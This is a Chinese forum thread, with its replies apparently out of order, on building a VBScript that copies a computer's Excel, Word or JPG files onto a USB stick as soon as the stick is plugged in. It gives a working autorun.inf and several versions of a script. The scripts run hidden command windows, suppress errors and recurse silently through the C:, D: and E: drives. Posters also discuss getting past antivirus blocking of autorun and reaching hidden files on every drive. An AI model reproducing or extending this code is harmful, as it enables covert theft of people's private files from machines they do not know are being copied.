[问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？

lyzhangzj

按以下代码会出现，只复制U盘里所有XLS格式的文件，怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码：

[autorun]
open=wscript.exe CopyExcelFile.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码

以下是GetExcelFile.vbs文件的代码：

set ws=createobject("wscript.shell")
ws.run "explorer ..\"
ws.run "cmd /c md GetExcelFile",0,true
ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码

tangqingfu

做个标记，谢谢broly版主的分享！

czjt1234

任务管理器  结束wscript.exe进程

ww0000

回复 28# broly


    老师，我电脑里东西很多，我运行了一会想让它停下来，怎么办呢？

ww0000

老师，我电脑里东西很多，我运行了一会想让它停下来，怎么办呢？

longmao

回复 33# broly

谢谢版主大神的回复~
当然最好是监控系统，一插入U盘就自动复制了，但是这种方式是一般来说都是会被杀毒软件直接干掉的。。。
自动复制还是那个autorun.inf  的方法吧。


所以俺想双击运行就成了 。

我也用批处理弄过，今天也发了个贴在代码求助里，请大神能移步这个帖子看看~

http://bbs.bathome.net/viewthrea ... p;page=1&extra=

大神如果能用批处理解决，那就不再麻烦大神用VBS了，能高效解决问题好~

broly

回复 32# longmao


    那个要求跟你这个要求是不一样的，当然不能满足你的需求。
    是要监控系统，一插入U盘就自动复制。还是你自己按照需要手动运行，然后自动复制？
    需要高效率，可以用批处理。
    另外，你重开一帖子吧，我在新的帖子里回复

longmao

回复 30# broly


    大神您好，专门看了这篇帖子才跑来注册问您问题的。

我使用了这个VBS，只不过想复制的类型是DOC的（我只是把代码里的jpg改成了doc，同时取消了文件大小的验证）。使用中出现如下问题：
1.只能复制一部分文件，很大一部分文件木有复制成功，同时系统隐藏的文件似乎木有复制成功。
2.代码执行效率有些低，我把循环改成30毫秒执行一次，还是效率低，差不多5分钟左右完成搜索复制了198个文档。
3.复制完成后一直占有系统资源，循环等待中。

需要的帮助是：

1.希望能够实现复制硬盘中的doc和docx格式的全部文件，包括隐藏了的文件和在系统隐藏文件后缀名称后依然有用。
2.搜索电脑的全部磁盘进行复制，不限于C\D\E\F盘，因为有的人盘符命名比较奇怪，会出来Q盘之类的硬盘盘符。
3.最好能够按照文件修改时间进行复制，优先复制最近修改的文件。
4.搜索复制完成后释放系统资源，但是在搜索复制时可以多用一些系统资源以提高搜索复制效率。

如能解答，感激不尽~谢谢大神~

lyzhangzj

多谢版主的帮忙，在此感谢，问题总是有的，不过经过版主的这次修改，已经很完美了。多谢多谢。

broly

坑爹啊，就不能一次性把需求说清楚吗？

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
          If Err.Number=0 Then 
            If fso.GetExtensionName(File.path)="jpg" And _
            	fso.GetFile(File.path).Size>100*1024 Then
              fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
            End If
        Else
                Err.Clear
        End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

lyzhangzj

这下好了，不过还有个小问题，能否再定义一下只复制大于100KB的JPG图片。多谢了。版主真是厉害。

broly

回复 25# lyzhangzj


    我知道什么原因了。C盘有些文件夹VBS是不能访问的，其他盘的可以访问，所以说提示出错了。那些不够访问权限的，我把它屏蔽了。
至于自动运行的，我还没想到什么好方法。因为自动运行的功能，杀毒软件一向很注意防护的

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
  	If Err.Number=0 Then 
	    If fso.GetExtensionName(File.path)="jpg" Then
	      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
	    End If
	Else
		Err.Clear
	End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

lyzhangzj

嗯，好的，多谢了。

broly

我晚点再看看吧。现在用手机上线

lyzhangzj

喔，这样可以了，不过运行的时候还是会出现32行第7个字符，错误：没有权限。还有30行，字符：3，错误：没有权限